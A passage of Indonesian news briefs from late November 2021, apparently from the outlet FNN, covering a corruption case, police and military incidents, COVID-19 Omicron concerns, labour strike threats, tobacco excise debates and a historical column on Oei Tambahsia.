rencana dilaksanakan bulan Juli 2019 sebagai rangkaian peringatan Hari Bhakti Adhyaksa Tahun 2019. Namun dikarenakan pandemi COVID-19 melanda Indonesia, pemidahan makam Raden Gatot Taroenamihardja ditunda. Hingga akhir tahun 2021 pandemi COVID-19 mulai melandai dan kebijakan pemerintah memperbolehkan kegiatan yang melibatkan banyak orang dengan tetap mematuhi protokol kesehatan. Hingga pada akhirnya bulan Oktober 2021 atas dasar pertimbangan sebagaimana disampaikan sebelumnya, kemudian Ketua Umum PP PJI mengusulkan kembali kepada Jaksa Agung RI Bapak Sanitiar Burhanuddin perihal rencana pemindahan makam Raden Gatot Taroenamihardja. Bak gayung bersambut usulan Ketua Umum PP PJI disetujui oleh Jaksa Agung RI untuk dilaksanakan. Tepat hari Kamis (25/11) prosesi dan upacara pemindahan makam Raden Gatot Taroenamihardja dilangnsungkan. Prosesi pemindahan makam ditayangkan secara streaming di kanal YouTube Pusat Penerangan Hukum Kejaksaan Agung RI. Ketua Umum PJI Setia Untung Arimuladi yang mewakili Jaksa Agung dalam sambutannya mengatakan sosok Raden Gatot Taroenamiharja dikenal sebagai figur yang berani, tegas, berwibawa, dan gigih dalam mempertahankan serta menjunjung tinggi hukum di Indonesia. Bahkan tidak segan untuk mempertaruhkan nyawanya demi mempertahankan integritas, dedikasi dan pendiriannya dalam menjunjung tinggi supremasi hukum, terlihat dalam penanganan perkara. Satria Untung Arimuladi mengatakan semasa hidup Raden Gatot Taroenamiharja telah mengemban amanah dan mendedikasikan segenap kemampuan terbaiknya untuk membuat pondasi intitusi kejaksaan dalam menyelenggarakan penegakan hukum yang baik. "Sebuah kontribusi positif yang manfaat besarnya kami rasakan nyata sekarang ini," kata Setia Untung Arimuladi. (sws)

Polisi Sita Puluhan Botol Minuman Beralkohol di Banyumas

Banyumas, FNN - Personel kepolisian menyita puluhan botol minuman beralkohol dari sebuah warung di Jalan Pramuka, Desa Sudagaran, Kabupaten Banyumas, Jawa Tengah. "Penyitaan dilakukan personel Polsek Banyumas saat menggelar razia dalam rangka cipta kondisi kesiapan pelaksanaan Operasi Terpusat Lilin Candi 2021 yang digelar Senin (29/11) malam mulai pukul 20.15 WIB," kata Kepala Kepolisian Resor Kota Banyumas Komisaris Besar Polisi M Firman L Hakim didampingi Kepala Polsek Banyumas Ajun Komisaris Polisi Sudiono di Banyumas, Selasa. Menurut dia, puluhan botol minuman beralkohol tersebut disita dari sebuah warung milik RY (25), warga Desa Gandatapa, Kecamatan Sumbang, Banyumas. Ia mengatakan minuman beralkohol yang disita, antara lain enam botol anggur kolesom, enam botol anggur putih, 15 botol besar anggur merah, satu botol kecil anggur merah, tiga botol anggur ketan hitam, sembilan botol kawa-kawa, dua botol congyang, satu botol arak, dan beberapa botol minuman beralkohol merek lainnya. "Total ada 47 botol minuman beralkohol dari berbagai merek yang kami sita dari warung tersebut," kata Kapolsek Banyumas AKP Sudiono. Oleh karena penjualan minuman beralkohol tersebut mengganggu ketertiban lingkungan, kata dia, pihaknya akan melakukan pembinaan sebagai langkah untuk memberi efek jera bagi penjualnya. "Kami akan memberikan pembinaan dan sanksi tipiring (tindak pidana ringan) sesuai dengan Peraturan Daerah Kabupaten Banyumas Nomor 15 Tahun 2014 agar penjual minuman beralkohol ini mendapatkan efek jera," kata Sudiono. (sws)

Temianus dan Senat Soll, Duo KKB Dalam Aksi Kekerasan di Yahukimo

Jayapura, FNN - Direktur Reskrimum Polda Papua, Komisaris Besar Polisi Faizal Rahmadani, mengakui, Temianus Magayang dan almarhum Senat Soll merupakan duo anggota kelompok bersenjata yang kerap melancarkan kekerasan di sekitar Dekai, Kabupaten Yahukimo, Papua. Mereka berdua sejak 2020 sering melakukan aksi kekerasan dan pembunuhan bersama terhadap warga sipil. "Hal itu terungkap dalam keterangan Senat Soll yang ditangkap pada 1 September lalu di Dekai dan meninggal di RS Bhayangkara Jayapura pada 26 September lalu," kata Rahmadani, di Jayapura, Papua Selasa. Ia menyatakan, Magayang sebenarnya kepala Kampung Sesepne, Distrik Kelamdua, dan dalam struktur kelompok bersenjata Yahukimo adalah komandan Operasi Kodap 16 Kali Bele. Saat ditangkap Magayang membawa senjata api rakitan dan peluru, dan sempat melawan sehingga petugas terpaksa menembak dia. Magayang masih dirawat di RS Bhayangkara. Ia merupakan anggota kelompok bersenjata Yahukimo bersama almarhum Soll dan Erik Pahabol, di bawah Panglima Kodap 16, Elkius Kobak, yang terkait dengan kelompok bersenjata Nduga, yakni Wendanak dan Tendius Gwijangge, yang selama dua tahun terakhir mengganggu keamanan di Kabupaten Yahukimo. Menurut Rahmadani, ada empat laporan polisi yang disangkakan kepada Gwijangge, termasuk keterlibatannya dalam pembunuhan staff KPU Yahukimo, Hendrik Jovinski, pada 11 Agustus 2020. (sws)

Kapuspen TNI Sebut Oknum TNI yang Terlibat Bentrok Diproses Hukum

Jakarta, FNN - Kepala Pusat Penerangan (Kapuspen) TNI Mayjen TNI Prantara Santosa menyebutkan oknum prajurit TNI yang terlibat bentrok di sejumlah daerah akan diproses hukum. "Pusat Polisi Militer TNI bersama dengan Pusat Polisi Militer TNI AD atau angkatan terkait sedang melakukan proses hukum terhadap semua oknum anggota TNI yang terlibat dalam dugaan tindak pidana," kata Kapuspen TNI dalam keterangannya, di Jakarta, Selasa. Sejumlah peristiwa bentrokan itu, yakni peristiwa bentrok di Ambon antara Oknum TNI AD Provost Denmadam XVI/PTM dengan Oknum Satlantas Polresta Ambon pada Rabu (24/11). Kedua, bentrok di Tembagapura, Kabupaten Mimika antara oknum TNI AD dari Satgas Nanggala dengan oknum Polri dari Satgas Amole Brimobda Aceh pada Sabtu (27/11). Insiden ketiga adalah bentrok di Batam antara oknum TNI AD dari Batalyon Infanteri Raider Khusus 136/TS dengan oknum TNI AL dari Batalyon 10 Marinir pada Sabtu (27/11). Atas ketiga insiden tersebut, semua oknum TNI yang terlibat dalam ketiga insiden tersebut sedang menjalani proses hukum. Selain itu, kata dia, TNI sudah berkoordinasi dengan Polri untuk melakukan proses hukum terhadap oknum anggota Polri yang terlibat. "TNI sudah melakukan koordinasi dengan Polri untuk melakukan proses hukum terhadap oknum anggota Polri yang terlibat dalam dugaan tindak pidana tersebut," kata Prantara. (sws)

KPK Limpahkan Berkas Perkara Azis Syamsuddin ke Pengadilan Tipikor

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) melimpahkan berkas perkara terdakwa mantan Wakil Ketua DPR RI Azis Syamsuddin ke Pengadilan Tindak Pidana Korupsi (Tipikor), Jakarta, Senin (29/11). Azis adalah terdakwa perkara suap penanganan perkara tindak pidana korupsi yang ditangani KPK di Kabupaten Lampung Tengah, Lampung. "Jaksa KPK Yoga Pratomo telah melimpahkan berkas perkara terdakwa Azis Syamsuddin, Senin (29/11) ke Pengadilan Tipikor pada PN Jakarta Pusat," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Ali mengatakan penahanan terhadap Azis selanjutnya beralih dan menjadi wewenang dari pengadilan tipikor. "Selanjutnya, tim jaksa masih menunggu penetapan penunjukan majelis hakim yang akan memimpin jalannya persidangan dan penetapan hari sidang dengan agenda awal pembacaan surat dakwaan oleh tim jaksa," ucap Ali. Adapun Azis didakwa dengan dakwaan pertama Pasal 5 ayat (1) huruf a Undang-Undang Tipikor jo Pasal 64 ayat (1) KUHP atau kedua Pasal 13 Undang-Undang Tipikor jo Pasal 64 ayat (1) KUHP. KPK telah mengumumkan Azis sebagai tersangka pada Sabtu (25/9). Dalam konstruksi perkara, KPK menjelaskan Azis menghubungi penyidik KPK saat itu Stepanus Robin Pattuju dan meminta tolong mengurus kasus yang melibatkannya dan Aliza Gunado yang sedang dilakukan penyelidikannya oleh KPK. Aliza merupakan kader Partai Golkar yang pernah menjabat sebagai mantan Wakil Ketua Umum PP Angkatan Muda Partai Golkar (AMPG). Selanjutnya, Robin menghubungi adovokat Maskur Husain untuk ikut mengawal dan mengurus perkara tersebut. KPK menduga pemberian uang dari Azis kepada Robin dan Maskur yang telah direalisasikan baru sejumlah Rp3,1 miliar dari komitmen awal sebesar Rp4 miliar. (sws)

Satu Tewas Dalam Tabrakan Beruntun di Jalan Lingkar Salatiga

Salatiga, FNN - Satu orang tewas dalam kecelakaan beruntun yang melibatkan beberapa mobil dan truk di Jalan Lingkar Kota Salatiga, Jawa Tengah, pada Senin malam. Kepala Satuan Lalu Lintas Polres Salatiga AKP Arfian Riski Dwi Wibowo mengatakan, kejadian itu bermula ketika sebuah truk tronton dengan nomor polisi W 9847 UY melaju dari arah Solo menuju Semarang. Saat melintas di jalur tersebut, kata dia, truk diduga mengalami masalah pada remnya. "Truk tronton kemudian menabrak truk yang melaju di depannya," katanya. Bahkan, truk tersebut sempat melaju melewati median jalan dan menabrak empat mobil yang melaju dari arah berlawanan. Truk tersebut menabrak dua Suzuji Karimun, Honda Mobilio, dan Timor. Korban tewas diketahui bernama Yumri warga Banyubiru, Kabupaten Semarang, yang merupakan pengemudi Suzuki Karimun. Adapun arus lalu lintas menuju Jalan Lingkar Kota Salatiga ditutup sementara untuk proses evakuasi korban. Jenazah korban meninggal dunia selanjutnya dibawa ke RSUD Salatiga. (sws)

PPP Optimistis Dongkrak Elektoral Suara Pemilu 2024

Lebak, FNN - Partai Persatuan Pembangunan (PPP) optimistis dapat mendongkrak elektoral suara pada pemilihan umum (Pemilu) 2024, sehingga dapat menambah perolehan kursi di DPR pusat, DPRD provinsi dan kabupaten. "Kami terus berjuang untuk mengembalikan kejayaan PPP sebagai partai politik terbesar di Tanah Air, " kata Ketua Fraksi PPP di DPRD Lebak Musa Weliansyah saat dihubungi di Lebak, Selasa. PPP di bawah naungan Achmad Baidowi sebagai ketua umum berjalan solid baik di tingkat daerah sampai provinsi dan nasional. Bahkan, PPP menggelar workshop hingga dihadiri 1.100 anggota legislatif provinsi dan kabupaten di Jakarta, Minggu (28/11). Mereka para anggota wakil rakyat dari PPP itu semangat mengikuti kegiatan workshop untuk meningkatkan pemahaman kepartaian guna mendongkrak elektoral suara 2024. Untuk mendongkrak elektoral suara itu, tentu mesin politik harus berjalan mulai ranting desa hingga ketingkat provinsi. Selain itu juga kader-kader PPP membangun silaturahmi dengan berbagai elemen masyarakat. "Kami meyakini jika infrastruktur politik itu berjalan di daerah dan provinsi dipastikan elektoral PPP meningkat, " katanya menjelaskan. Musa mengatakan, dirinya setelah mengikuti workshop sangat termotivasi untuk membangun kejayaan PPP, terlebih narasumbernya sangat luar biasa di antaranya Menteri BUMN Erick Thohir. Dimana Menteri BUMN itu mengarahkan para kader-kader PPP harus berjuang keras dan selalu dekat dengan masyarakat. Kepentingan masyarakat tentunya lebih didahulukan untuk kesejahteraan mereka. "Kami melihat narasumber Menteri BUMN sebagai mentor dan lebih termotivasi untuk memperjuangkan kesejahteraan masyarakat guna meningkatkan perolehan suara pada Pemilu 2024," kata Musa sambil menyatakan keinginan untuk DPR RI. Ia mengatakan dalam workshop itu juga diberikan pembekalan bagaimana untuk membangun kejayaan PPP menjadi partai politik terbesar. Selain itu juga diberikan arahan program legislasi hingga pengawasan, dan anggaran dari PPP pusat ke provinsi dan kabupaten. Kegiatan workshop ini sangat bangga terhadap ketua Umum PPP yang memberi penyemangat luar biasa menjanjikan tim pemenangan hingga ke tingkat TPS. DPP PPP berkomitmen untuk membantu para calon legislatif agar kursi di DPR, DPRD provinsi dan kabupaten meningkat. "Ini janji yang sangat luar biasa dari Ketua Umum agar PPP 2024 dapat mendulang suara terbanyak," katanya menjelaskan. (sws)

Wakil Ketua DPD: Batalkan Reuni 2021 Guna Mewaspadai Varian Omicron

Jakarta, FNN - Wakil Ketua DPD RI Sultan B. Najamudin meminta Umat Islam Alumni Aksi 2021 agar mengurungkan niat untuk melakukan aksi Reuni 2021 pada 2 Desember 2021 sebagai bentuk kewaspadaan terhadap COVID-19 varian baru Omicron. "Kami sangat menghargai dan mendukung setiap gerakan aksi damai umat Islam yang mengarah pada ukhuwah dan dakwah, namun karena situasi bangsa saat ini sedang dalam proses pemulihan yang sulit, maka kami harap para tokoh umat untuk bersedia mengendalikan mobilitas masyarakat yang mulai bergerak menuju ke Jakarta dan sekitarnya,” kata Sultan dalam keterangan yang diterima di Jakarta, Senin. Sultan menyampaikan permintaan tersebut karena merasa khawatir dengan situasi pengendalian persebaran COVID-19 di Indonesia. Saat ini tengah terjadi peningkatan angka kasus positif harian dan terdapat ledakan COVID-19 varian baru Omicron di banyak negara. Menurut dia, meskipun pemerintah dan aparat keamanan tidak melarang aksi damai dilaksanakan, jangan sampai masyarakat menjadi lupa diri dan tidak peka dengan kondisi nasional yang sangat membutuhkan perilaku tertib protokol kesehatan dari masyarakat. “Demi kebaikan bersama, sebaiknya kita batalkan saja Reuni 212 kali ini,” kata dia. Sultan berpandangan bahwa umat Islam Indonesia harus menjadi pioneer dan teladan bagi umat lainnya untuk berupaya preventif dan pemulihan sosial-ekonomi bangsa dari ancaman pandemi COVID-19 yang masih terus bermutasi. Tingkat kerumunan massa Aksi 212, kata Sultan, belum sesuai diterapkan pada kondisi Indonesia saat ini. Tanpa mematuhi protokol kesehatan, Sultan khawatir akan terjadi penyebaran COVID-19 dan terbentuknya klaster 212. Oleh karena itu, Sultan mengingatkan agar umat Islam tidak mudah terprovokasi dan jangan hanya menuruti keinginan sebagian orang yang senang memanfaatkan kekuatan politik umat. Saat ini, dunia kembali merasa cemas dengan munculnya varian baru COVID-19 di Afrika Selatan. Epidemiolog Dicky Budiman dari Griffith University Australia menyebutkan bahwa varian baru Omicron memiliki tingkat penularan lima kali lebih tinggi daripada virus korona asli, yakni SARS-CoV-2 yang pertama kali ditemukan di Wuhan, China, pada 2019. Sementara itu, Menteri Kesehatan Budi Gunadi Sadikin menyebut bahwa virus korona varian Omicron atau yang dikenal sebagai B.1.1.529, kemungkinan besar memiliki kecepatan tinggi dalam penularan dan mampu menurunkan kemampuan antibodi dari infeksi alamiah dan vaksinasi. "Omicron ini studinya masih berjalan. Untuk transmisi penularan, kemungkinan besar dia menularkan lebih cepat. Apakah dia bisa escape immunity atau menurunkan kemampuan antibodi dari infeksi atau vaksinasi sebelumnya? Kemungkinan besar iya," kata Budi dalam konferensi persnya, Minggu (28/11). (sws)

F-Golkar MPR Minta Masukan Pakar Terkait Status Hukum TAP MPRS

Jakarta, FNN - Ketua Fraksi Partai Golkar MPR, Idris Laena, mengatakan, fraksinya menggelar diskusi publik untuk meminta masukan para pakar terkait status hukum Ketetapan MPRS dalam sistem hukum Indonesia. "Diskusi ini dimaksudkan untuk memberi masukan dan pencerahan bagi Fraksi Golkar MPR dalam membuat kebijakan," kata dia, dalam keterangannya di Jakarta, Selasa. Hal itu dia bilang usai membuka secara resmi acara diskusi publik dengan tema "Status Hukum TAP MPRS Dalam Sistem Hukum Indonesia", di Jakarta, Senin (29/11). Ia mengatakan, pemikiran dan pendapat dari para narasumber yang muncul dalam diskusi, sangat kaya dengan gagasan-gagasan baru dalam rangka pembaharuan hukum di Indonesia. Namun menurut dia, gagasan itu tetap perlu dilakukan pendalaman agar bisa menghasilkan kebijakan yang baik serta tepat untuk kepentingan bangsa dan negara. Acara diskusi tersebut juga dihadiri Sekretaris FPG MPR, Ferdiansyah, Bendahara FPG MPR, Mujib Rohmat, dan Wakil Ketua Komisi Kajian Ketatanegaraan MPR, Rambe Kamarul Zaman. Hadir sebagai narasumber dalam diskusi tersebut yaitu guru besar Fakultas Hukum Universitas Indonesia, Satya Arinanto, pakar hukum tata negara dan staf Sekretariat Negara, Ahmad Redi, dan Dekan Fakultas Hukum Universitas Muhammadiyah Jakarta, Ibnu Sina Chandranegara. (sws)

Anggota Baleg Sebut DPR Berkomitmen Percepat Perbaikan UU Ciptaker

Jakarta, FNN - Anggota Badan Legislasi DPR, Christina Aryani, mengatakan, DPR berkomitmen untuk mempercepat perbaikan UU Cipta Kerja menindaklanjuti pernyataan Presiden Joko Widodo dalam merespons putusan Mahkamah Konstitusi. "Presiden saya rasa punya sikap dan arahan jelas terkait ini. Beliau minta agar ini dipercepat dan kami di DPR tentu punya semangat yang sama,” ujar dia, berdasarkan keterangan tertulis yang diterima di Jakarta, Selasa. Melalui komitmen itu, lanjutnya, DPR optimistis perbaikan UU Cipta Kerja dapat selesai dalam waktu dua tahun, bahkan bisa pula lebih cepat dari tenggat waktu tersebut. Ia juga mengatakan, DPR mengapresiasi langkah cepat Jokowi itu, termasuk arahannya untuk memberikan kepastian kepada investor, baik dari dalam maupun luar negeri, bahwa investasi mereka yang telah, sedang, dan akan berproses tetap aman. “Selain proses perbaikan dipercepat, presiden juga punya sikap jelas mengenai substansi putusan MK bahwa seluruh aturan pelaksanaan UU Cipta Kerja tetap berjalan," kata Aryani. Sikap seperti itu, menurut dia, membuat masyarakat dan para pelaku usaha dapat memahami putusan MK secara tepat dan benar. Sejak awal, tambah ia, semangat UU Cipta Kerja adalah agenda reformasi struktural, deregulasi, dan debirokratisasi untuk meningkatkan kepastian hukum dan mempermudah investasi berusaha di Tanah Air. Berdasarkan catatan Badan Koordinasi Penanaman Modal, ujar dia, implementasi UU Cipta Kerja selama ini telah memberikan dampak yang signifikan terhadap peningkatan investasi dan pembukaan lapangan kerja. BKPM mencatat kenaikan realisasi investasi sejak Januari sampai September 2021 mencapai 7,8 persen year on year (yoy) yang nilainya mencapai Rp659 triliun. Selain itu, jumlah penciptaan lapangan kerja yang terakumulasi dari triwulan I hingga triwulan III tercatat sebanyak 912.402 tenaga kerja. Ada pula perizinan berusaha terintegrasi secara elektronik (online single submission/OSS) yang telah menerbitkan 379.051 perizinan untuk periode Agustus-Oktober. Di dalamnya, dominasi perizinan berusaha diberikan pada usaha mikro. "Artinya, secara operasional ini sudah berjalan sangat baik dan tidak ada alasan bagi kita untuk mengambil langkah mundur," kata dia. (sws)

Anggota DPR: Kenaikan Cukai Tembakau Turunkan Produktivitas IHT

Jakarta, FNN - Anggota DPR RI Willy Aditya menyatakan kenaikan target cukai hasil tembakau (CHT) dalam APBN Tahun 2022 dapat menurunkan produktivitas industri hasil tembakau (IHT). "Selain menurunkan produktivitas IHT, kenaikan CHT akan menyuburkan pasar rokok ilegal, apalagi dalam situasi pemulihan saat ini," kata Willy dalam keterangan tertulis di Jakarta, Selasa. Ia mengatakan dirinya sering mendapatkan keluhan dan penolakan terhadap kenaikan tarif CHT dari para pekerja di sektor IHT dan para petani atas kelangsungan hidup mereka. Willy menyatakan bahwa para petani sudah bergerak untuk mengirimkan surat secara langsung kepada Presiden Jokowi. "Jangan sampai kita harus menanggung konsekuensi atas semakin banyaknya petani dan pekerja SKT yang terdampak di masa sulit ini,” katanya. Pemerintah merencanakan menaikkan tarif cukai hasil tembakau pada tahun anggaran 2022. Hal itu tertuang dalam Undang-undang Nomor 6 Tahun 2021 tentang Anggaran Pendapatan dan Belanja Negara Tahun Anggaran 2022. Target cukai hasil tembakau (CHT) pada tahun 2022 sekitar Rp193 triliun atau naik sebesar 11,9 persen dibandingkan target tahun 2021. Selain di Madura, Jawa Timur, para petani di sentra tembakau lain di Pulau Jawa memiliki keresahan yang sama. Sekjen Asosiasi Petani Tembakau Indonesia Daerah Istimewa Yogyakarta Triyanto mengatakan kenaikan tarif CHT yang eksesif akan merusak rantai perdagangan IHT dengan memaksa pabrik untuk terus mengurangi produksinya. “Jika produksi dikurangi, maka serapan bahan baku yang dipasok petani berkurang. Tidak hanya petani, pekerja di pabrik menghadapi situasi yang berat,” kata Triyanto. Sementara itu, Direktur Industri Minuman, Industri Tembakau, dan Bahan Penyegar Kementerian Perindustrian (Kemenperin) Edy Sutopo mengakui kalau tarif harus naik, Kementerian Perindustrian akan memberikan masukan agar tarifnya tidak naik terlalu tinggi. “Kami kurang sepakat jika cukai dinaikkan terlalu tinggi. Harus hati-hati tentang kenaikan tarif CHT ini, karena Indonesia masih membutuhkan industri IHT. Kalau industri ini mampu bertahan, bukan tidak mungkin industri ini akan memberikan dampak positif terhadap penerimaan negara," jelas Edy. Data Kementerian Perindustrian menyatakan sepanjang tahun 2020 setidaknya 4.500 tenaga kerja di sektor IHT yang terkena PHK. Edy mengatakan data tersebut bisa saja lebih besar karena banyak pabrik yang kurang disiplin melaporkan. (sws)

Menteri Agama Pesan ke PA GMNI Jawa Timur Perkuat Nasionalisme

Surabaya, FNN - Menteri Agama, Yaqut C Qoumas, berpesan kepada DPD Persatuan Alumni Gerakan Mahasiswa Nasional Indonesia (PA GMNI) Jawa Timur untuk selalu memperkuat nasionalisme dari upaya rongrongan Ideologi yang ingin menggantikan Pancasila. Dalam keterangan pers yang diterima ANTARA di Surabaya, Selasa pagi, melalui video virtualnya dia menilai tantangan PA GMNI berbeda ketika belum ada sebutan persatuan alumni di depannya. "Sekarang semua harus lebih konkret dan mampu memastikan bahwa nasionalisme dan sistem demokrasi yang sekarang ini kita anut, mampu benar-benar menjawab kebutuhan dan lebih penting lagi adalah menyejahterahkan rakyat," ujarnya. Ia mengatakan, jika ini bisa dilakukan dan berhasil maka rakyat dipastikan tidak berpaling pada ideologi atau sistem lain. "Seperti khilafah misalnya, karena sampai sekarang masih saja ada kelompok-kelompok yang mendorongnya supaya diberlakukan di Indonesia," ucap dia. Ia juga mengajak untuk bersama-sama dan bergotong royong untuk memastikan nasionalisme dan demokrasi yang sebenarnya sudah tercantum di dalam Pancasila, ideologi dan falsafah bangsa agar benar-benar bisa diaplikasikan di kehidupan bernegara. "Saya yakin, seyakin-yakinnya bahwa PA GMNI mampu menjadi lokomotif atas hal ini," kata dia. Pada kesempatan sama, dia mengucapkan selamat atas pelantikan Deni Wicaksono sebagai ketua DPD PA GMNI Jawa Timur periode 2021-2026 beserta sejumlah pengurus. Pada sisi lain, Wakil Gubernur Jawa Timur, Emil Dardak, yang juga berkesempatan hadir pada pelantikan itu menegaskan kesiapan mereka bersinergi bersama PA GMNI Jatim dalam memerangi kemiskinan, khususnya di wilayah setempat. Dardak yang juga ketua Ikatan Persaudaraan Haji Indonesia (IPHI) Jawa Timur juga menyinggung "Mars PA GMNI" bahwa terdapat hal penting yang harus menjadi perhatian bersama yaitu, antikemiskinan. "Itu yang menjadi PR besar kita bersama, tentang bagaimana pengentasan kemiskinan bisa berjalan optimal," kata dia. (sws)

Pimpinan Pusat KBPP Batalkan Musda V Sulawesi Utara Akibat Ricuh

Jakarta, FNN - Pimpinan Pusat (PP) Keluarga Besar Putra Putri (KBPP) Polri membatalkan pelaksanaan Musyawarah Daerah (Musda) V KBPP Polri Sulawesi Utara yang seyogyanya diselenggarakan tadi malam menyusul kericuhan anggota. "Setelah berkoordinasi dengan pembina yaitu Polda Sulawesi Utara, PP KBPP Polri memutuskan untuk membatalkan Musda," kata Ketua Umum PP KBPP Polri, Dr Evita Nursanty, melalui keterangan tertulis yang diterima di Jakarta, Selasa. Keputusan itu terpaksa diambil untuk menjaga muruah organisasi KBPP Polri serta muruah Polda Sulawesi Utara. "Saya mencium aroma yang sarat kepentingan individu dan kelompok dengan menggerakkan aksi sehingga menimbulkan kericuhan," kata dia. Sedianya, kegiatan musda yang dimulai Senin (29/11) pukul 15.00 WITA dengan agenda pembukaan berlangsung tertib. Namun, suasana berbeda kemudian terjadi ketika musda beranjak ke paripurna I dengan agenda pengesahan kuorum, jadwal acara, tata tertib dan pemilihan presidium sidang dan keributan mulai terjadi. "Belum lagi ketuk palu, sekelompok orang mulai melakukan keributan," ujarnya. Orang tersebut mempersoalkan salah satu pasal di tata tertib yang menetapkan kriteria untuk menjadi ketua PD KBPP Polri dimana kriteria tersebut mengacu pada AD/ART KBPP Polri. "Saya memantau berlangsungnya penyelenggaraan musda itu, ada yang menjurus ke anarkis seperti melempar gelas, memecahkan kaca meja, berteriak-teriak, dan lainnya," ujar dia. Berbagai upaya sudah dilakukan PP KBPP maupun Polda selaku Pembina untuk meredam situasi. Namun, situasi tersebut makin memburuk. Dengan mempertimbangkanberbagai hal, ketua Umum KBPP Polri memutuskan membatalkan penyelenggaraan Musda V KBPP Polri PD Sulawesi Utara hingga ada keputusan baru. Ia prihatin dan menyayangkan kejadian itu dan berharap semua anggota serta pengurus KBPP Polri menjaga muruah organisasi dan Polri sebagai pembina. (sws)

Dua Flight EMB-314 Super Tucano Akan Operasi Udara Garda Paus 21

Tarakan, FNN - Pesawat tempur counter insurgence EMB-314 Super Tucano dari Skadron Udara 21 akan melaksanakan Operasi Garda Paus 21 di Tarakan, Kalimantan Utara, guna meningkatkan pertahanan di Pangkalan Udara TNI AU Anang Busra, yang berada di perbatasan negara itu. EMB-314 Super Tucano itu terdiri dari dua flight dan tiba di Pangkalan Udara TNI AU Anang Busra, Senin (29/11), dari pangkalan asalnya, Pangkalan Udara TNI AU Abdulrachman Saleh di Malang, Jawa Timur. "Selama empat hari ke depan pesawat Super Tucano akan melaksanakan operasi pengamanan wilayah udara nasional," kata Komandan Pangkalan Udara TNI AU Anang Busra, Kolonel Penerbang Toto Ginanto, didampingi Komandan Skuadron 21 TNI AU, Letnan Kolonel Penerbang Heru Wardhana, di Tarakan, Selasa. Ginanto mengatakan, pelaksanaan operasi udara di Tarakan ini merupakan wujud peran TNI AU dalam meningkatkan pertahanan di pangkalan udara terdepan yang mempunyai tanggung jawab mengamankan kedaulatan Indonesia. Adapun Wardhana memimpin langsung operasi yang mengerahkan keempat EMB-314 Super Tucano itu. Pesawat tempur buatan Brazil ini akan melaksanakan operasi pengamanan udara Indonesia di sana selama empat hari di Pangkalan Udara TNI AU Anang Busra. Ginanto juga mengatakan pesawat EMB-314 Super Tucano akan berpatroli di perairan Ambalat untuk melihat dan memastikan tidak ada pelanggaran di wilayah NKRI. "Hal rutin dilaksanakan dengan tujuan memastikan tidak adanya pelanggaran wilayah, khususnya perbatasan Indonesia dan Malaysia. Bila ada pesawat asing yang mencoba memasuki wilayah udara Indonesia tanpa izin akan dilakukan penindakan sesuai prosedur," kata dia. (sws)

Oei Tambah 1828-57 di Tiang Gantungan Pun Masih Menyuap

Oleh Ridwan Saidi *) Nama lengkapnya Oei Tambahsia. Tauke Oei, ayahnya, datang dari daratan dengan modal besar. Tauke Oei memilih niaga di Pekalongan. Tatkala Oei Tambahsia usia 17 tahun, Tauke meninggal, bodel (warisan) jatuh ke Oei Tambahsia semua. Ia anak tunggal. Oei memutuskan pindah dari Pekalongan dan berdiam di Pasar Baru, Tangerang. Tak lama ia kawin dengan pesta besar tujuh hari tujuh malam. Tampilnya orang kaya baru sampai ke telinga Gouverneur Generaal. Oei seperti nantang-nantang Tuan Gouverneur Generaal. Ebro (bendi) merk apa pun yang dikendarai Tuan Gouverneur Generaal, Oei langsung membeli ebro merk serupa. Oei putar uangnya dengan membeli banyak toko di Toko Tiga, Kota. Oei membangun villa di Ancol. Lokasi pertigaan Jl Yos Sudarso dengan Gunung Sari, seberangi kali, lalu belok ke arah barat beberapa puluh meter, di situ pernah ada villa Oei yang bekend sebagai villa Bintang Mas. Bahkan nama kampung sekitar (sudah punah) dan yang di seberangnya (masih eksis) bernama kampung Bintang Mas. Oei punya penyakit gila perempuan. Stafnya, Pi'un dan Sura, tukang cari kalau Oei lagi berkehendak. Suatu hari Pi'un dan Sura apes. Gadis yang dipaksa menggembirakan Oei adalah perawan jago silat dari Kampung Sawah Paseban. Terjadi pertarungan seru di Jembatan Ancol. Akhirnya, gadis yang kelak diketahui bernama Aria tewas kena bacokan. Ketika polisi olah TKP kasus pembunuhan Aria, masuk pengaduan di kantor polisi dari pria asal Pekalongan. Ia mengaku istrinya disekap Oei di Bintang Mas. Polisi memburu dan mendapatkan wanita istri pelapor di lokasi dalam keadaan over fatigue akibat lembur mengolah Oei. Oei ditangkap, Pi'un dan Sura juga. Tahun 1920-an terbit Syair Oei Tambahsia yang laku keras dan mencapai cetakan keempat pada tahun 1929. Dalam syair diceritakan putusan hakim: Sesuda(h)nya menimbang lantas brenti Pesakitan (TSK) kedua ketiga dikasi ngarti Terang sala(h)nya mendapat bukti Terhukum gantunglah sampe mati. Ekskusi di depan Stadhuis persisnya di halaman Mesium Seni Rupa. Penonton sudah penuh. Muncul Oei digandeng algojo. Kata Oei pada algojo, entar lu jangan kenceng-kenceng iket leher gua. Gua punya kepala juga jangan lu tekuk-tekuk. Kalu gua uda mati, lu rogo kantong gua, ada duit emas sebiji. Lumayan buat anak bini lu. Ampun, masih sempat-sempatnya. *) Budayawan

Jika Tuntutan Tidak Dipenuhi Pemerintah, Pekerja Ancam Mogok Nasional Pada 6 Desember 2021

Jakarta, FNN – Para pekerja tidak puas dengan pemerintahan Joko Widodo (Jokowi) dalam menyikapi keputusan pemerintah terhadap keputusan Mahkamah Konstitusi (MK) tentang Undang-Undang Cipta Kerja. Oleh karena itu, para buruh mengancam tetap melakukan aksi mogok kerja pada Senin sampai Rabu, 6 sampai 8 Desember 2021. Ancaman mogok kerja nasional tersebut dikatakan Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) dan Partai Buruh Said Iqbal, dalam konferensi pers virtual, di Jakarta, Senin, 29 November 2021. Tuntutan mereka tetap sama, menolak penghitungan kenaikan Upah Minimum Pekereja (UMP) 2022 yang menggunakan Peraturan Pemerintah (PP) Nomor 36 Tahun 2021. “Yang bisa membatalkan mogok nasional hanya jika tuntutan itu bisa dipenuhi,” kata Iqbal. "Mogok nasional tetap kita rencanakan 6-8 Desember 2021. Jika keputusan gubernur tentang upah minimum provinsi dan upah minimum kabupaten kota tetap menggunakan PP 36, mogok nasional," ucapnya. Buruh meminta agar pemerintah melaksanakan putusan MK terkait UU Cipta Kerja. Dia juga mengingatkan, peraturan dalam UU tersebut ditangguhkan. "Jika pemerintah memaksakan kehendak tidak menjalankan putusan MK, atau para menteri mencoba merevisi-revisi peraturan, itu tidak diperintahkan oleh MK. Sekali lagi saya ulang tidak ada perintah MK merevisi peraturan. MK 